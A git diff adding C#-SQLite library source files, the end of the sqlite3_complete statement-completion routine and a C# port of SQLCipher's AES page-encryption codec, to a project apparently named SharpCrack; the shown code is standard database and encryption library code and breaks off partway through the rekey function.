static public int sqlite3_complete( string zSql ) + { + int state = 0; /* Current state, using numbers defined in header comment */ + int token; /* Value of the next token */ + +#if !SQLITE_OMIT_TRIGGER + /* A complex statement machine used to detect the end of a CREATE TRIGGER +** statement. This is the normal case. +*/ + u8[][] trans = new u8[][] { + /* Token: */ + /* State: ** SEMI WS OTHER EXPLAIN CREATE TEMP TRIGGER END */ + /* 0 INVALID: */ new u8[]{ 1, 0, 2, 3, 4, 2, 2, 2, }, + /* 1 START: */ new u8[]{ 1, 1, 2, 3, 4, 2, 2, 2, }, + /* 2 NORMAL: */ new u8[]{ 1, 2, 2, 2, 2, 2, 2, 2, }, + /* 3 EXPLAIN: */ new u8[]{ 1, 3, 3, 2, 4, 2, 2, 2, }, + /* 4 CREATE: */ new u8[]{ 1, 4, 2, 2, 2, 4, 5, 2, }, + /* 5 TRIGGER: */ new u8[]{ 6, 5, 5, 5, 5, 5, 5, 5, }, + /* 6 SEMI: */ new u8[]{ 6, 6, 5, 5, 5, 5, 5, 7, }, + /* 7 END: */ new u8[]{ 1, 7, 5, 5, 5, 5, 5, 5, }, +}; +#else + /* If triggers are not supported by this compile then the statement machine + ** used to detect the end of a statement is much simplier + */ + u8[][] trans = new u8[][] { + /* Token: */ + /* State: ** SEMI WS OTHER */ + /* 0 INVALID: */new u8[] { 1, 0, 2, }, + /* 1 START: */new u8[] { 1, 1, 2, }, + /* 2 NORMAL: */new u8[] { 1, 2, 2, }, +}; +#endif // * SQLITE_OMIT_TRIGGER */ + + int zIdx = 0; + while ( zIdx < zSql.Length ) + { + switch ( zSql[zIdx] ) + { + case ';': + { /* A semicolon */ + token = tkSEMI; + break; + } + case ' ': + case '\r': + case '\t': + case '\n': + case '\f': + { /* White space is ignored */ + token = tkWS; + break; + } + case '/': + { /* C-style comments */ + if ( zSql[zIdx + 1] != '*' ) + { + token = tkOTHER; + break; + } + zIdx += 2; + while ( zIdx < zSql.Length && zSql[zIdx] != '*' || zIdx < zSql.Length - 1 && zSql[zIdx + 1] != '/' ) + { + zIdx++; + } + if ( zIdx == zSql.Length ) + return 0; + zIdx++; + token = tkWS; + break; + } + case '-': + { /* SQL-style comments from "--" to end of line */ + if ( zSql[zIdx + 1] != '-' ) + { + token = tkOTHER; + break; + } + while ( zIdx < zSql.Length && zSql[zIdx] != '\n' ) + { + zIdx++; + } + if ( zIdx == zSql.Length ) + return state == 1 ? 1 : 0;//if( *zSql==0 ) return state==1; + token = tkWS; + break; + } + case '[': + { /* Microsoft-style identifiers in [...] */ + zIdx++; + while ( zIdx < zSql.Length && zSql[zIdx] != ']' ) + { + zIdx++; + } + if ( zIdx == zSql.Length ) + return 0; + token = tkOTHER; + break; + } + case '`': /* Grave-accent quoted symbols used by MySQL */ + case '"': /* single- and double-quoted strings */ + case '\'': + { + int c = zSql[zIdx]; + zIdx++; + while ( zIdx < zSql.Length && zSql[zIdx] != c ) + { + zIdx++; + } + if ( zIdx == zSql.Length ) + return 0; + token = tkOTHER; + break; + } + default: + { +//#if SQLITE_EBCDIC +// unsigned char c; +//#endif + if ( IdChar( (u8)zSql[zIdx] ) ) + { + /* Keywords and unquoted identifiers */ + int nId; + for ( nId = 1; ( zIdx + nId ) < zSql.Length && IdChar( (u8)zSql[zIdx + nId] ); nId++ ) + { + } +#if SQLITE_OMIT_TRIGGER + token = tkOTHER; +#else + switch ( zSql[zIdx] ) + { + case 'c': + case 'C': + { + if ( nId == 6 && sqlite3StrNICmp( zSql, zIdx, "create", 6 ) == 0 ) + { + token = tkCREATE; + } + else + { + token = tkOTHER; + } + break; + } + case 't': + case 'T': + { + if ( nId == 7 && sqlite3StrNICmp( zSql, zIdx, "trigger", 7 ) == 0 ) + { + token = tkTRIGGER; + } + else if ( nId == 4 && sqlite3StrNICmp( zSql, zIdx, "temp", 4 ) == 0 ) + { + token = tkTEMP; + } + else if ( nId == 9 && sqlite3StrNICmp( zSql, zIdx, "temporary", 9 ) == 0 ) + { + token = tkTEMP; + } + else + { + token = tkOTHER; + } + break; + } + case 'e': + case 'E': + { + if ( nId == 3 && sqlite3StrNICmp( zSql, zIdx, "end", 3 ) == 0 ) + { + token = tkEND; + } + else +#if !SQLITE_OMIT_EXPLAIN + if ( nId == 7 && sqlite3StrNICmp( zSql, zIdx, "explain", 7 ) == 0 ) + { + token = tkEXPLAIN; + } + else +#endif + { + token = tkOTHER; + } + break; + } + default: + { + token = tkOTHER; + break; + } + } +#endif // * SQLITE_OMIT_TRIGGER */ + zIdx += nId - 1; + } + else + { + /* Operators and special symbols */ + token = tkOTHER; + } + break; + } + } + state = trans[state][token]; + zIdx++; + } + return ( state == 1 ) ? 1 : 0;//return state==1; + } + +#if NO_SQLITE_OMIT_UTF16 //#if !SQLITE_OMIT_UTF16 +/* +** This routine is the same as the sqlite3_complete() routine described +** above, except that the parameter is required to be UTF-16 encoded, not +** UTF-8. +*/ +int sqlite3_complete16(const void *zSql){ +sqlite3_value pVal; +char const *zSql8; +int rc = SQLITE_NOMEM; + +#if !SQLITE_OMIT_AUTOINIT +rc = sqlite3_initialize(); +if( rc !=0) return rc; +#endif +pVal = sqlite3ValueNew(0); +sqlite3ValueSetStr(pVal, -1, zSql, SQLITE_UTF16NATIVE, SQLITE_STATIC); +zSql8 = sqlite3ValueText(pVal, SQLITE_UTF8); +if( zSql8 ){ +rc = sqlite3_complete(zSql8); +}else{ +rc = SQLITE_NOMEM; +} +sqlite3ValueFree(pVal); +return sqlite3ApiExit(0, rc); +} +#endif // * SQLITE_OMIT_UTF16 */ +#endif // * SQLITE_OMIT_COMPLETE */ + } +} diff --git a/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/crypto.cs b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/crypto.cs new file mode 100644 index 0000000..21c7f27 --- /dev/null +++ b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/crypto.cs @@ -0,0 +1,763 @@ +using System; +using System.Diagnostics; +using System.Text; + +using u8 = System.Byte; +using u16 = System.UInt16; +using Pgno = System.UInt32; + +namespace Community.CsharpSqlite +{ + using sqlite3_int64 = System.Int64; + using sqlite3_stmt = Sqlite3.Vdbe; + using System.Security.Cryptography; + using System.IO; + + public partial class Sqlite3 + { + /* + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2010 Noah B Hart, Diego Torres + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ************************************************************************* + */ + + /* + ** SQLCipher + ** crypto.c developed by Stephen Lombardo (Zetetic LLC) + ** sjlombardo at zetetic dot net + ** http://zetetic.net + ** + ** Copyright (c) 2009, ZETETIC LLC + ** All rights reserved. + ** + ** Redistribution and use in source and binary forms, with or without + ** modification, are permitted provided that the following conditions are met: + ** * Redistributions of source code must retain the above copyright + ** notice, this list of conditions and the following disclaimer. + ** * Redistributions in binary form must reproduce the above copyright + ** notice, this list of conditions and the following disclaimer in the + ** documentation and/or other materials provided with the distribution. + ** * Neither the name of the ZETETIC LLC nor the + ** names of its contributors may be used to endorse or promote products + ** derived from this software without specific prior written permission. + ** + ** THIS SOFTWARE IS PROVIDED BY ZETETIC LLC ''AS IS'' AND ANY + ** EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED + ** WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE + ** DISCLAIMED. IN NO EVENT SHALL ZETETIC LLC BE LIABLE FOR ANY + ** DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + ** (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + ** LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + ** ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + ** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + ** SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + ** + */ + /* BEGIN CRYPTO */ +#if !NOT_SQLITE_HAS_CODEC //#if SQLITE_HAS_CODEC + + //#include + //#include + //#include + //#include + //#include "sqliteInt.h" + //#include "btreeInt.h" + //#include "crypto.h" + +#if CODEC_DEBUG || TRACE +//#define CODEC_TRACE(X) {printf X;fflush(stdout);} +static void CODEC_TRACE( string T, params object[] ap ) { if ( sqlite3PagerTrace )sqlite3DebugPrintf( T, ap ); } +#else + //#define CODEC_TRACE(X) + static void CODEC_TRACE( string T, params object[] ap ) + { + } +#endif + + //void sqlite3FreeCodecArg(void *pCodecArg); + + public class cipher_ctx + {//typedef struct { + public string pass; + public int pass_sz; + public bool derive_key; + public byte[] key; + public int key_sz; + public byte[] iv; + public int iv_sz; + public ICryptoTransform encryptor; + public ICryptoTransform decryptor; + + public cipher_ctx Copy() + { + cipher_ctx c = new cipher_ctx(); + c.derive_key = derive_key; + c.pass = pass; + c.pass_sz = pass_sz; + if ( key != null ) + { + c.key = new byte[key.Length]; + key.CopyTo( c.key, 0 ); + } + c.key_sz = key_sz; + if ( iv != null ) + { + c.iv = new byte[iv.Length]; + iv.CopyTo( c.iv, 0 ); + } + c.iv_sz = iv_sz; + c.encryptor = encryptor; + c.decryptor = decryptor; + return c; + } + + public void CopyTo( cipher_ctx ct ) + { + ct.derive_key = derive_key; + ct.pass = pass; + ct.pass_sz = pass_sz; + if ( key != null ) + { + ct.key = new byte[key.Length]; + key.CopyTo( ct.key, 0 ); + } + ct.key_sz = key_sz; + if ( iv != null ) + { + ct.iv = new byte[iv.Length]; + iv.CopyTo( ct.iv, 0 ); + } + ct.iv_sz = iv_sz; + ct.encryptor = encryptor; + ct.decryptor = decryptor; + } + } + + public class codec_ctx + {//typedef struct { + public int mode_rekey; + public byte[] buffer; + public Btree pBt; + public cipher_ctx read_ctx; + public cipher_ctx write_ctx; + + public codec_ctx Copy() + { + codec_ctx c = new codec_ctx(); + c.mode_rekey = mode_rekey; + c.buffer = sqlite3MemMalloc( buffer.Length ); + c.pBt = pBt; + if ( read_ctx != null ) + c.read_ctx = read_ctx.Copy(); + if ( write_ctx != null ) + c.write_ctx = write_ctx.Copy(); + return c; + } + } + + const int FILE_HEADER_SZ = 16; //#define FILE_HEADER_SZ 16 + const string CIPHER = "aes-256-cbc"; //#define CIPHER "aes-256-cbc" + const int CIPHER_DECRYPT = 0; //#define CIPHER_DECRYPT 0 + const int CIPHER_ENCRYPT = 1; //#define CIPHER_ENCRYPT 1 + +#if NET_2_0 + static RijndaelManaged Aes = new RijndaelManaged(); +#else + static AesManaged Aes = new AesManaged(); +#endif + + /* BEGIN CRYPTO */ + static void sqlite3pager_get_codec( Pager pPager, ref codec_ctx ctx ) + { + ctx = pPager.pCodec; + } + + static int sqlite3pager_is_mj_pgno( Pager pPager, Pgno pgno ) + { + return ( PAGER_MJ_PGNO( pPager ) == pgno ) ? 1 : 0; + } + + static sqlite3_file sqlite3Pager_get_fd( Pager pPager ) + { + return ( isOpen( pPager.fd ) ) ? pPager.fd : null; + } + + static void sqlite3pager_sqlite3PagerSetCodec( + Pager pPager, + dxCodec xCodec, + dxCodecSizeChng xCodecSizeChng, + dxCodecFree xCodecFree, + codec_ctx pCodec + ) + { + sqlite3PagerSetCodec( pPager, xCodec, xCodecSizeChng, xCodecFree, pCodec ); + } + /* END CRYPTO */ + + //static void activate_openssl() { + // if(EVP_get_cipherbyname(CIPHER) == null) { + // OpenSSL_add_all_algorithms(); + // } + //} + + /** + * Free and wipe memory + * If ptr is not null memory will be freed. + * If sz is greater than zero, the memory will be overwritten with zero before it is freed + */ + static void codec_free( ref byte[] ptr, int sz ) + { + if ( ptr != null ) + { + if ( sz > 0 ) + Array.Clear( ptr, 0, sz );//memset( ptr, 0, sz ); + sqlite3_free( ref ptr ); + } + } + + /** + * Set the raw password / key data for a cipher context + * + * returns SQLITE_OK if assignment was successfull + * returns SQLITE_NOMEM if an error occured allocating memory + * returns SQLITE_ERROR if the key couldn't be set because the pass was null or size was zero + */ + static int cipher_ctx_set_pass( cipher_ctx ctx, string zKey, int nKey ) + { + ctx.pass = null; // codec_free( ctx.pass, ctx.pass_sz ); + ctx.pass_sz = nKey; + if ( !String.IsNullOrEmpty( zKey ) && nKey > 0 ) + { + //ctx.pass = sqlite3Malloc(nKey); + //if(ctx.pass == null) return SQLITE_NOMEM; + ctx.pass = zKey;//memcpy(ctx.pass, zKey, nKey); + return SQLITE_OK; + } + return SQLITE_ERROR; + } + + /** + * Initialize a new cipher_ctx struct. This function will allocate memory + * for the cipher context and for the key + * + * returns SQLITE_OK if initialization was successful + * returns SQLITE_NOMEM if an error occured allocating memory + */ + static int cipher_ctx_init( ref cipher_ctx iCtx ) + { + iCtx = new cipher_ctx(); + //iCtx = sqlite3Malloc( sizeof( cipher_ctx ) ); + //ctx = *iCtx; + //if ( ctx == null ) return SQLITE_NOMEM; + //memset( ctx, 0, sizeof( cipher_ctx ) ); + //ctx.key = sqlite3Malloc( EVP_MAX_KEY_LENGTH ); + //if ( ctx.key == null ) return SQLITE_NOMEM; + return SQLITE_OK; + } + + /** + * free and wipe memory associated with a cipher_ctx + */ + static void cipher_ctx_free( ref cipher_ctx ictx ) + { + cipher_ctx ctx = ictx; + CODEC_TRACE( "cipher_ctx_free: entered ictx=%d\n", ictx ); + ctx.pass = null;//codec_free(ctx.pass, ctx.pass_sz); + if ( ctx.key != null ) + Array.Clear( ctx.key, 0, ctx.key.Length );//codec_free(ctx.key, ctx.key_sz); + if ( ctx.iv != null ) + Array.Clear( ctx.iv, 0, ctx.iv.Length ); + ictx = new cipher_ctx();// codec_free( ref ctx, sizeof( cipher_ctx ) ); + } + + /** + * Copy one cipher_ctx to another. For instance, assuming that read_ctx is a + * fully initialized context, you could copy it to write_ctx and all yet data + * and pass information across + * + * returns SQLITE_OK if initialization was successful + * returns SQLITE_NOMEM if an error occured allocating memory + */ + static int cipher_ctx_copy( cipher_ctx target, cipher_ctx source ) + { + //byte[] key = target.key; + CODEC_TRACE( "cipher_ctx_copy: entered target=%d, source=%d\n", target, source ); + //codec_free(target.pass, target.pass_sz); + source.CopyTo( target );//memcpy(target, source, sizeof(cipher_ctx); + + //target.key = key; //restore pointer to previously allocated key data + //memcpy(target.key, source.key, EVP_MAX_KEY_LENGTH); + //target.pass = sqlite3Malloc(source.pass_sz); + //if(target.pass == null) return SQLITE_NOMEM; + //memcpy(target.pass, source.pass, source.pass_sz); + return SQLITE_OK; + } + + /** + * Compare one cipher_ctx to another. + * + * returns 0 if all the parameters (except the derived key data) are the same + * returns 1 otherwise + */ + static int cipher_ctx_cmp( cipher_ctx c1, cipher_ctx c2 ) + { + CODEC_TRACE( "cipher_ctx_cmp: entered c1=%d c2=%d\n", c1, c2 ); + + if ( c1.key_sz == c2.key_sz + && c1.pass_sz == c2.pass_sz + && c1.pass == c2.pass + ) + return 0; + return 1; + } + + /** + * Free and wipe memory associated with a cipher_ctx, including the allocated + * read_ctx and write_ctx. + */ + static void codec_ctx_free( ref codec_ctx iCtx ) + { + codec_ctx ctx = iCtx; + CODEC_TRACE( "codec_ctx_free: entered iCtx=%d\n", iCtx ); + cipher_ctx_free( ref ctx.read_ctx ); + cipher_ctx_free( ref ctx.write_ctx ); + iCtx = new codec_ctx();//codec_free(ctx, sizeof(codec_ctx); + } + + /** + * Derive an encryption key for a cipher contex key based on the raw password. + * + * If the raw key data is formated as x'hex' and there are exactly enough hex chars to fill + * the key space (i.e 64 hex chars for a 256 bit key) then the key data will be used directly. + * + * Otherwise, a key data will be derived using PBKDF2 + * + * returns SQLITE_OK if initialization was successful + * returns SQLITE_NOMEM if the key could't be derived (for instance if pass is null or pass_sz is 0) + */ + static int codec_key_derive( codec_ctx ctx, cipher_ctx c_ctx ) + { + CODEC_TRACE( "codec_key_derive: entered c_ctx.pass=%s, c_ctx.pass_sz=%d ctx.iv=%d ctx.iv_sz=%d c_ctx.kdf_iter=%d c_ctx.key_sz=%d\n", + c_ctx.pass, c_ctx.pass_sz, c_ctx.iv, c_ctx.iv_sz, c_ctx.key_sz ); + + if ( c_ctx.pass != null && c_ctx.pass_sz > 0 ) + { // if pass is not null + if ( ( c_ctx.pass_sz == ( c_ctx.key_sz * 2 ) + 3 ) && c_ctx.pass.StartsWith( "x'", StringComparison.InvariantCultureIgnoreCase ) ) + { + int n = c_ctx.pass_sz - 3; /* adjust for leading x' and tailing ' */ + string z = c_ctx.pass.Substring( 2 );// + 2; /* adjust lead offset of x' */ + CODEC_TRACE( "codec_key_derive: deriving key from hex\n" ); + c_ctx.key = sqlite3HexToBlob( null, z, n ); + } + else + { + CODEC_TRACE( "codec_key_derive: deriving key using AES256\n" ); + + Rfc2898DeriveBytes k1 = new Rfc2898DeriveBytes( c_ctx.pass, c_ctx.iv, 2010 ); + c_ctx.key_sz = 32; + c_ctx.key = k1.GetBytes( c_ctx.key_sz ); + } +#if NET_2_0 + Aes.BlockSize = 0x80; + Aes.FeedbackSize = 8; + Aes.KeySize = 0x100; + Aes.Mode = CipherMode.CBC; +#endif + c_ctx.encryptor = Aes.CreateEncryptor( c_ctx.key, c_ctx.iv ); + c_ctx.decryptor = Aes.CreateDecryptor( c_ctx.key, c_ctx.iv ); + return SQLITE_OK; + }; + return SQLITE_ERROR; + } + + /* + * ctx - codec context + * pgno - page number in database + * size - size in bytes of input and output buffers + * mode - 1 to encrypt, 0 to decrypt + * in - pointer to input bytes + * out - pouter to output bytes + */ + static int codec_cipher( cipher_ctx ctx, Pgno pgno, int mode, int size, byte[] bIn, byte[] bOut ) + { + int iv; + int tmp_csz, csz; + + CODEC_TRACE( "codec_cipher:entered pgno=%d, mode=%d, size=%d\n", pgno, mode, size ); + + /* just copy raw data from in to out when key size is 0 + * i.e. during a rekey of a plaintext database */ + if ( ctx.key_sz == 0 ) + { + Array.Copy( bIn, bOut, bIn.Length );//memcpy(out, in, size); + return SQLITE_OK; + } + + MemoryStream dataStream = new MemoryStream(); + CryptoStream encryptionStream; + if ( mode == CIPHER_ENCRYPT ) + { + encryptionStream = new CryptoStream( dataStream, ctx.encryptor, CryptoStreamMode.Write ); + } + else + { + encryptionStream = new CryptoStream( dataStream, ctx.decryptor, CryptoStreamMode.Write ); + } + encryptionStream.Write( bIn, 0, size ); + encryptionStream.FlushFinalBlock(); + dataStream.Position = 0; + + dataStream.Read( bOut, 0, (int)dataStream.Length ); + encryptionStream.Close(); + dataStream.Close(); + + + + return SQLITE_OK; + } + + /** + * + * when for_ctx == 0 then it will change for read + * when for_ctx == 1 then it will change for write + * when for_ctx == 2 then it will change for both + */ + static int codec_set_cipher_name( sqlite3 db, int nDb, string cipher_name, int for_ctx ) + { + Db pDb = db.aDb[nDb]; + CODEC_TRACE( "codec_set_cipher_name: entered db=%d nDb=%d cipher_name=%s for_ctx=%d\n", db, nDb, cipher_name, for_ctx ); + + if ( pDb.pBt != null ) + { + codec_ctx ctx = null; + cipher_ctx c_ctx; + sqlite3pager_get_codec( pDb.pBt.pBt.pPager, ref ctx ); + c_ctx = for_ctx != 0 ? ctx.write_ctx : ctx.read_ctx; + + c_ctx.derive_key = true; + + if ( for_ctx == 2 ) + cipher_ctx_copy( for_ctx != 0 ? ctx.read_ctx : ctx.write_ctx, c_ctx ); + return SQLITE_OK; + } + return SQLITE_ERROR; + } + + static int codec_set_pass_key( sqlite3 db, int nDb, string zKey, int nKey, int for_ctx ) + { + Db pDb = db.aDb[nDb]; + CODEC_TRACE( "codec_set_pass_key: entered db=%d nDb=%d cipher_name=%s nKey=%d for_ctx=%d\n", db, nDb, zKey, nKey, for_ctx ); + if ( pDb.pBt != null ) + { + codec_ctx ctx = null; + cipher_ctx c_ctx; + sqlite3pager_get_codec( pDb.pBt.pBt.pPager, ref ctx ); + c_ctx = for_ctx != 0 ? ctx.write_ctx : ctx.read_ctx; + + cipher_ctx_set_pass( c_ctx, zKey, nKey ); + c_ctx.derive_key = true; + + if ( for_ctx == 2 ) + cipher_ctx_copy( for_ctx != 0 ? ctx.read_ctx : ctx.write_ctx, c_ctx ); + return SQLITE_OK; + } + return SQLITE_ERROR; + } + + /* + * sqlite3Codec can be called in multiple modes. + * encrypt mode - expected to return a pointer to the + * encrypted data without altering pData. + * decrypt mode - expected to return a pointer to pData, with + * the data decrypted in the input buffer + */ + static byte[] sqlite3Codec( codec_ctx iCtx, byte[] data, Pgno pgno, int mode ) + { + codec_ctx ctx = (codec_ctx)iCtx; + int pg_sz = sqlite3BtreeGetPageSize( ctx.pBt ); + int offset = 0; + byte[] pData = data; + + CODEC_TRACE( "sqlite3Codec: entered pgno=%d, mode=%d, ctx.mode_rekey=%d, pg_sz=%d\n", pgno, mode, ctx.mode_rekey, pg_sz ); + + /* derive key on first use if necessary */ + if ( ctx.read_ctx.derive_key ) + { + codec_key_derive( ctx, ctx.read_ctx ); + ctx.read_ctx.derive_key = false; + } + + if ( ctx.write_ctx.derive_key ) + { + if ( cipher_ctx_cmp( ctx.write_ctx, ctx.read_ctx ) == 0 ) + { + cipher_ctx_copy( ctx.write_ctx, ctx.read_ctx ); // the relevant parameters are the same, just copy read key + } + else + { + codec_key_derive( ctx, ctx.write_ctx ); + ctx.write_ctx.derive_key = false; + } + } + + + + CODEC_TRACE( "sqlite3Codec: switch mode=%d offset=%d\n", mode, offset ); + if ( ctx.buffer.Length != pg_sz ) + ctx.buffer = sqlite3MemMalloc( pg_sz ); + switch ( mode ) + { + case SQLITE_DECRYPT: + codec_cipher( ctx.read_ctx, pgno, CIPHER_DECRYPT, pg_sz, pData, ctx.buffer ); + if ( pgno == 1 ) + Buffer.BlockCopy( Encoding.UTF8.GetBytes( SQLITE_FILE_HEADER ), 0, ctx.buffer, 0, FILE_HEADER_SZ );// memcpy( ctx.buffer, SQLITE_FILE_HEADER, FILE_HEADER_SZ ); /* copy file header to the first 16 bytes of the page */ + Buffer.BlockCopy( ctx.buffer, 0, pData, 0, pg_sz ); //memcpy( pData, ctx.buffer, pg_sz ); /* copy buffer data back to pData and return */ + return pData; + case SQLITE_ENCRYPT_WRITE_CTX: /* encrypt */ + if ( pgno == 1 ) + Buffer.BlockCopy( ctx.write_ctx.iv, 0, ctx.buffer, 0, FILE_HEADER_SZ );//memcpy( ctx.buffer, ctx.iv, FILE_HEADER_SZ ); /* copy salt to output buffer */ + codec_cipher( ctx.write_ctx, pgno, CIPHER_ENCRYPT, pg_sz, pData, ctx.buffer ); + return ctx.buffer; /* return persistent buffer data, pData remains intact */ + case SQLITE_ENCRYPT_READ_CTX: + if ( pgno == 1 ) + Buffer.BlockCopy( ctx.read_ctx.iv, 0, ctx.buffer, 0, FILE_HEADER_SZ );//memcpy( ctx.buffer, ctx.iv, FILE_HEADER_SZ ); /* copy salt to output buffer */ + codec_cipher( ctx.read_ctx, pgno, CIPHER_ENCRYPT, pg_sz, pData, ctx.buffer ); + return ctx.buffer; /* return persistent buffer data, pData remains intact */ + default: + return pData; + } + } + + + static int sqlite3CodecAttach( sqlite3 db, int nDb, string zKey, int nKey ) + { + Db pDb = db.aDb[nDb]; + + CODEC_TRACE( "sqlite3CodecAttach: entered nDb=%d zKey=%s, nKey=%d\n", nDb, zKey, nKey ); + //activate_openssl(); + + if ( zKey != null && pDb.pBt != null ) + { + Aes.KeySize = 256; +#if NO_SQLITE_SILVERLIGHT // #if !SQLITE_SILVERLIGHT + Aes.Padding = PaddingMode.None; +#endif + codec_ctx ctx; + int rc; + Pager pPager = pDb.pBt.pBt.pPager; + sqlite3_file fd; + + ctx = new codec_ctx();//sqlite3Malloc(sizeof(codec_ctx); + //if(ctx == null) return SQLITE_NOMEM; + //memset(ctx, 0, sizeof(codec_ctx); /* initialize all pointers and values to 0 */ + + ctx.pBt = pDb.pBt; /* assign pointer to database btree structure */ + + if ( ( rc = cipher_ctx_init( ref ctx.read_ctx ) ) != SQLITE_OK ) + return rc; + if ( ( rc = cipher_ctx_init( ref ctx.write_ctx ) ) != SQLITE_OK ) + return rc; + + /* pre-allocate a page buffer of PageSize bytes. This will + be used as a persistent buffer for encryption and decryption + operations to avoid overhead of multiple memory allocations*/ + ctx.buffer = sqlite3MemMalloc( sqlite3BtreeGetPageSize( ctx.pBt ) );//sqlite3Malloc(sqlite3BtreeGetPageSize(ctx.pBt); + //if(ctx.buffer == null) return SQLITE_NOMEM; + + /* allocate space for salt data. Then read the first 16 bytes header as the salt for the key derivation */ + ctx.read_ctx.iv_sz = FILE_HEADER_SZ; + ctx.read_ctx.iv = new byte[ctx.read_ctx.iv_sz];//sqlite3Malloc( ctx.iv_sz ); + + Buffer.BlockCopy( Encoding.UTF8.GetBytes( SQLITE_FILE_HEADER ), 0, ctx.read_ctx.iv, 0, FILE_HEADER_SZ ); + + sqlite3pager_sqlite3PagerSetCodec( sqlite3BtreePager( pDb.pBt ), sqlite3Codec, null, sqlite3FreeCodecArg, ctx ); + + codec_set_cipher_name( db, nDb, CIPHER, 0 ); + codec_set_pass_key( db, nDb, zKey, nKey, 0 ); + cipher_ctx_copy( ctx.write_ctx, ctx.read_ctx ); + + //sqlite3BtreeSetPageSize( ctx.pBt, sqlite3BtreeGetPageSize( ctx.pBt ), MAX_IV_LENGTH, 0 ); + } + return SQLITE_OK; + } + + static void sqlite3FreeCodecArg( ref codec_ctx pCodecArg ) + { + if ( pCodecArg == null ) + return; + codec_ctx_free( ref pCodecArg ); // wipe and free allocated memory for the context + } + + static void sqlite3_activate_see( string zPassword ) + { + /* do nothing, security enhancements are always active */ + } + + static public int sqlite3_key( sqlite3 db, string pKey, int nKey ) + { + CODEC_TRACE( "sqlite3_key: entered db=%d pKey=%s nKey=%d\n", db, pKey, nKey ); + /* attach key if db and pKey are not null and nKey is > 0 */ + if ( db != null && pKey != null ) + { + sqlite3CodecAttach( db, 0, pKey, nKey ); // operate only on the main db + // + // If we are reopening an existing database, redo the header information setup + // + BtShared pBt = db.aDb[0].pBt.pBt; + byte[] zDbHeader = sqlite3MemMalloc( (int)pBt.pageSize );// pBt.pPager.pCodec.buffer; + sqlite3PagerReadFileheader( pBt.pPager, zDbHeader.Length, zDbHeader ); + if ( sqlite3Get4byte( zDbHeader ) > 0 ) // Existing Database, need to reset some values + { + CODEC2( pBt.pPager, zDbHeader, 2, SQLITE_DECRYPT, ref zDbHeader ); + byte nReserve = zDbHeader[20]; + pBt.pageSize = (uint)( ( zDbHeader[16] << 8 ) | ( zDbHeader[17] << 16 ) ); + if ( pBt.pageSize < 512 || pBt.pageSize > SQLITE_MAX_PAGE_SIZE + || ( ( pBt.pageSize - 1 ) & pBt.pageSize ) != 0 ) + pBt.pageSize = 0; + pBt.pageSizeFixed = true; +#if !SQLITE_OMIT_AUTOVACUUM + pBt.autoVacuum = sqlite3Get4byte( zDbHeader, 36 + 4 * 4 ) != 0; + pBt.incrVacuum = sqlite3Get4byte( zDbHeader, 36 + 7 * 4 ) != 0; +#endif + sqlite3PagerSetPagesize( pBt.pPager, ref pBt.pageSize, nReserve ); + pBt.usableSize = (u16)( pBt.pageSize - nReserve ); + } + + return SQLITE_OK; + } + return SQLITE_ERROR; + } + + /* sqlite3_rekey + ** Given a database, this will reencrypt the database using a new key. + ** There are two possible modes of operation. The first is rekeying + ** an existing database that was not previously encrypted. The second + ** is to change the key on an existing database. + ** + ** The proposed logic for this function follows: + ** 1. Determine if there is already a key present + ** 2. If there is NOT already a key present, create one and attach a codec (key would be null) + ** 3. Initialize a ctx.rekey parameter of the codec + ** + ** Note: this will require modifications to the sqlite3Codec to support rekey + ** + */ + static int sqlite3_rekey( sqlite3 db, string pKey, int nKey ) + { + CODEC_TRACE( "sqlite3_rekey: entered db=%d pKey=%s, nKey=%d\n", db, pKey, nKey ); + //activate_openssl(); + if ( db != null && pKey != null ) + { + Db pDb = db.aDb[0]; + CODEC_TRACE( "sqlite3_rekey: database pDb=%d\n", pDb ); + if ( pDb.pBt != null ) + { + codec_ctx ctx = null; + int rc; + Pgno page_count = 0; + Pgno pgno; + PgHdr page = null; + Pager pPager = pDb.pBt.pBt.pPager; + + sqlite3pager_get_codec( pDb.pBt.pBt.pPager, ref ctx ); + + if ( ctx == null ) + { + CODEC_TRACE( "sqlite3_rekey: no codec attached to db, attaching now\n" ); + /* there was no codec attached to this database,so attach one now with a null password */ + sqlite3CodecAttach( db, 0, pKey, nKey ); + sqlite3pager_get_codec( pDb.pBt.pBt.pPager, ref ctx ); + + /* prepare this setup as if it had already been initialized */ + Buffer.BlockCopy( Encoding.UTF8.GetBytes( SQLITE_FILE_HEADER ), 0, ctx.read_ctx.iv, 0, FILE_HEADER_SZ ); + ctx.read_ctx.key_sz = ctx.read_ctx.iv_sz = ctx.read_ctx.pass_sz = 0; + } + + //if ( ctx.read_ctx.iv_sz != ctx.write_ctx.iv_sz ) + //{ + // string error = ""; + // CODEC_TRACE( "sqlite3_rekey: updating page size for iv_sz change from %d to %d\n", ctx.read_ctx.iv_sz, ctx.write_ctx.iv_sz ); + // db.nextPagesize = sqlite3BtreeGetPageSize( pDb.pBt ); + // pDb.pBt.pBt.pageSizeFixed = false; /* required for sqlite3BtreeSetPageSize to modify pagesize setting */ + // sqlite3BtreeSetPageSize( pDb.pBt, db.nextPagesize, MAX_IV_LENGTH, 0 ); + // sqlite3RunVacuum( ref error, db ); + //} + + codec_set_pass_key( db, 0, pKey, nKey, 1 ); + ctx.mode_rekey = 1; + /* do stuff here to rewrite the database + ** 1. Create a transaction on the database + ** 2. Iterate through each page, reading it and then writing it. + ** 3. If that goes ok then commit and put ctx.rekey into ctx.key + ** note: don't deallocate rekey since it may be used in a subsequent iteration + */ + rc = sqlite3BtreeBeginTrans( pDb.pBt, 1 ); /* begin write transaction */ + 